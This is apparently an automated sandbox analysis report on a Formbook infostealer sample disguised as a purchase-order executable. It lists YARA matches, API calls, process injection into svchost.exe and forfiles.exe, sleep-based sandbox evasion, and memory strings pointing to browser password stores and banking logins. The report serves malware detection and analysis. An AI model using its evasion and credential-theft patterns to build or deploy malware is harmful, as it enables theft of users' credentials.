            Source: 0000000E.00000002.3133096714.0000000002E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 0000000B.00000002.3132094860.00000000044C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 0000000C.00000002.3120123793.0000000002CB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000008.00000002.1777534454.0000000005050000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/2@9/9
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0044AF5C GetLastError,FormatMessageW,0_2_0044AF5C
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00464422 OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,0_2_00464422
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,0_2_004364AA
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0045D517 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,0_2_0045D517
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0043701F CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,__wcsicoll,CloseHandle,0_2_0043701F
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0047A999 OleInitialize,CLSIDFromProgID,CoCreateInstance,CoInitializeSecurity,_memset,_wcslen,_memset,CoCreateInstanceEx,CoSetProxyBlanket,0_2_0047A999
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0043614F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,0_2_0043614F
            Source: C:\Users\user\Desktop\PO#001498.exeFile created: C:\Users\user~1\AppData\Local\Temp\gobioidJump to behavior
            Source: PO#001498.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: C:\Users\user\Desktop\PO#001498.exeFile read: C:\Users\desktop.iniJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: forfiles.exe, 0000000C.00000002.3122100683.0000000002FE6000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 0000000C.00000003.1962799301.0000000002FB2000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 0000000C.00000003.1962741811.0000000002FC6000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3122100683.0000000002FB2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
            Source: PO#001498.exeReversingLabs: Detection: 50%
            Source: C:\Users\user\Desktop\PO#001498.exeFile read: C:\Users\user\Desktop\PO#001498.exeJump to behavior
            Source: unknownProcess created: C:\Users\user\Desktop\PO#001498.exe "C:\Users\user\Desktop\PO#001498.exe"
            Source: C:\Users\user\Desktop\PO#001498.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO#001498.exe"
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeProcess created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\SysWOW64\forfiles.exe"
            Source: C:\Windows\SysWOW64\forfiles.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
            Source: C:\Users\user\Desktop\PO#001498.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO#001498.exe"Jump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeProcess created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\SysWOW64\forfiles.exe"Jump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: wsock32.dllJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: version.dllJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: winmm.dllJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: mpr.dllJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: ieframe.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: netapi32.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: wkscli.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: mlang.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: winsqlite3.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: vaultcli.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: dpapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
            Source: PO#001498.exeStatic file information: File size 1364803 > 1048576
            Source: Binary string: forfiles.pdb source: svchost.exe, 00000008.00000003.1742969007.0000000003224000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1742956316.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1742907274.000000000321B000.00000004.00000020.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000B.00000002.3124009966.0000000001398000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: forfiles.pdbGCTL source: svchost.exe, 00000008.00000003.1742969007.0000000003224000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1742956316.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1742907274.000000000321B000.00000004.00000020.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000B.00000002.3124009966.0000000001398000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: AnbtBVreItY.exe, 0000000B.00000000.1697791921.000000000098E000.00000002.00000001.01000000.00000005.sdmp, AnbtBVreItY.exe, 0000000E.00000000.1842122598.000000000098E000.00000002.00000001.01000000.00000005.sdmp
            Source: Binary string: wntdll.pdbUGP source: PO#001498.exe, 00000000.00000003.1308560731.0000000004850000.00000004.00001000.00020000.00000000.sdmp, PO#001498.exe, 00000000.00000003.1305915551.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1681555136.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1683279079.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1776929290.000000000399E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1776929290.0000000003800000.00000040.00001000.00020000.00000000.sdmp, forfiles.exe, 0000000C.00000003.1778969932.00000000049D2000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3135104175.0000000004D1E000.00000040.00001000.00020000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3135104175.0000000004B80000.00000040.00001000.00020000.00000000.sdmp, forfiles.exe, 0000000C.00000003.1776788198.0000000004827000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: PO#001498.exe, 00000000.00000003.1308560731.0000000004850000.00000004.00001000.00020000.00000000.sdmp, PO#001498.exe, 00000000.00000003.1305915551.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000008.00000003.1681555136.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1683279079.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1776929290.000000000399E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1776929290.0000000003800000.00000040.00001000.00020000.00000000.sdmp, forfiles.exe, forfiles.exe, 0000000C.00000003.1778969932.00000000049D2000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3135104175.0000000004D1E000.00000040.00001000.00020000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3135104175.0000000004B80000.00000040.00001000.00020000.00000000.sdmp, forfiles.exe, 0000000C.00000003.1776788198.0000000004827000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: svchost.pdb source: forfiles.exe, 0000000C.00000002.3122100683.0000000002F35000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3136018758.00000000051AC000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000000.1842704933.00000000033CC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000012.00000002.2070941487.000000003391C000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: svchost.pdbUGP source: forfiles.exe, 0000000C.00000002.3122100683.0000000002F35000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3136018758.00000000051AC000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000000.1842704933.00000000033CC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000012.00000002.2070941487.000000003391C000.00000004.80000000.00040000.00000000.sdmp
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,0_2_0040EB70
            Source: PO#001498.exeStatic PE information: real checksum: 0xa2135 should be: 0x153f9a
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004171D1 push ecx; ret 0_2_004171E4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_004160C0 push edi; retf 8_2_004160C1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_004149D7 push eax; ret 8_2_004149DC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_00403180 push eax; ret 8_2_00403182
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_00424373 push edi; iretd 8_2_0042437B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_00415B35 push edi; ret 8_2_00415B3F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0041439C push ebp; retf 8_2_004143A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0041840F push esi; ret 8_2_00418426
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_00415CEA push cs; retf 8_2_00415CFF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0041549D push ebp; ret 8_2_004154F6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_004245D3 push esp; retf 8_2_004245E8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0041164F push eax; iretd 8_2_004116AF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_00415EF7 push ss; iretd 8_2_00415F1A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_004116BC push eax; iretd 8_2_004116AF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_00411770 push ss; retf 8_2_00411778
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0041177E push ss; retf 8_2_00411778
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0380225F pushad ; ret 8_2_038027F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038027FA pushad ; ret 8_2_038027F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038309AD push ecx; mov dword ptr [esp], ecx8_2_038309B6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0380283D push eax; iretd 8_2_03802858
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03801368 push eax; iretd 8_2_03801369
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeCode function: 11_2_04818898 push eax; ret 11_2_0481889D
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeCode function: 11_2_048199F6 push edi; ret 11_2_04819A00
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeCode function: 11_2_04815510 push eax; iretd 11_2_04815570
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeCode function: 11_2_0481557D push eax; iretd 11_2_04815570
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeCode function: 11_2_04811EA6 push 00000048h; retf 11_2_04811EA8
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeCode function: 11_2_0481C2D0 push esi; ret 11_2_0481C2E7
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeCode function: 11_2_04815631 push ss; retf 11_2_04815639
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeCode function: 11_2_0481563F push ss; retf 11_2_04815639
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeCode function: 11_2_0481825D push ebp; retf 11_2_04818267
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeCode function: 11_2_04819F81 push edi; retf 11_2_04819F82
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004772DE IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_004772DE
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_004375B0
            Source: C:\Windows\SysWOW64\forfiles.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

            Malware Analysis System Evasion

            barindex
            Contains functionality to detect sleep reduction / modifications
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004440780_2_00444078
            Switches to a custom stack to bypass stack traces
            Source: C:\Users\user\Desktop\PO#001498.exeAPI/Special instruction interceptor: Address: 427A24C
            Source: C:\Windows\SysWOW64\forfiles.exeAPI/Special instruction interceptor: Address: 7FFB2CECD324
            Source: C:\Windows\SysWOW64\forfiles.exeAPI/Special instruction interceptor: Address: 7FFB2CECD7E4
            Source: C:\Windows\SysWOW64\forfiles.exeAPI/Special instruction interceptor: Address: 7FFB2CECD944
            Source: C:\Windows\SysWOW64\forfiles.exeAPI/Special instruction interceptor: Address: 7FFB2CECD504
            Source: C:\Windows\SysWOW64\forfiles.exeAPI/Special instruction interceptor: Address: 7FFB2CECD544
            Source: C:\Windows\SysWOW64\forfiles.exeAPI/Special instruction interceptor: Address: 7FFB2CECD1E4
            Source: C:\Windows\SysWOW64\forfiles.exeAPI/Special instruction interceptor: Address: 7FFB2CED0154
            Source: C:\Windows\SysWOW64\forfiles.exeAPI/Special instruction interceptor: Address: 7FFB2CECDA44
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0387096E rdtsc 8_2_0387096E
            Source: C:\Windows\SysWOW64\forfiles.exeWindow / User API: threadDelayed 9783Jump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeAPI coverage: 3.1 %
            Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 0.6 %
            Source: C:\Windows\SysWOW64\forfiles.exeAPI coverage: 2.7 %
            Source: C:\Windows\SysWOW64\forfiles.exe TID: 1732Thread sleep count: 190 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exe TID: 1732Thread sleep time: -380000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exe TID: 1732Thread sleep count: 9783 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exe TID: 1732Thread sleep time: -19566000s >= -30000sJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe TID: 3256Thread sleep time: -50000s >= -30000sJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe TID: 3256Thread sleep time: -34500s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeLast function: Thread delayed
            Source: C:\Windows\SysWOW64\forfiles.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00452126
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,0_2_0045C999
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,0_2_00436ADE
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00434BEE
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0045DD7C FindFirstFileW,FindClose,0_2_0045DD7C
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,0_2_0044BD29
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,0_2_00436D2D
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00442E1F
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00475FE5
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0044BF8D
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_02CCC600 FindFirstFileW,FindNextFileW,FindClose,12_2_02CCC600
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_0040E470
            Source: 20Y-W08y.12.drBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
            Source: 20Y-W08y.12.drBinary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
            Source: 20Y-W08y.12.drBinary or memory string: Canara Transaction PasswordVMware20,11696492231}
            Source: 20Y-W08y.12.drBinary or memory string: interactivebrokers.co.inVMware20,11696492231d
            Source: 20Y-W08y.12.drBinary or memory string: netportal.hdfcbank.comVMware20,11696492231
            Source: 20Y-W08y.12.drBinary or memory string: outlook.office.comVMware20,11696492231s
            Source: 20Y-W08y.12.drBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
            Source: 20Y-W08y.12.drBinary or memory string: AMC password management pageVMware20,11696492231
            Source: 20Y-W08y.12.drBinary or memory string: interactivebrokers.comVMware20,11696492231
            Source: 20Y-W08y.12.drBinary or memory string: microsoft.visualstudio.comVMware20,11696492231x
            Source: 20Y-W08y.12.drBinary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
            Source: 20Y-W08y.12.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
            Source: 20Y-W08y.12.drBinary or memory string: Test URL for global passwords blocklistVMware20,11696492231
            Source: 20Y-W08y.12.drBinary or memory string: outlook.office365.comVMware20,11696492231t
            Source: AnbtBVreItY.exe, 0000000E.00000002.3130047245.000000000134F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll^
            Source: 20Y-W08y.12.drBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
            Source: 20Y-W08y.12.drBinary or memory string: discord.comVMware20,11696492231f
            Source: firefox.exe, 00000012.00000002.2081892999.000001963397C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
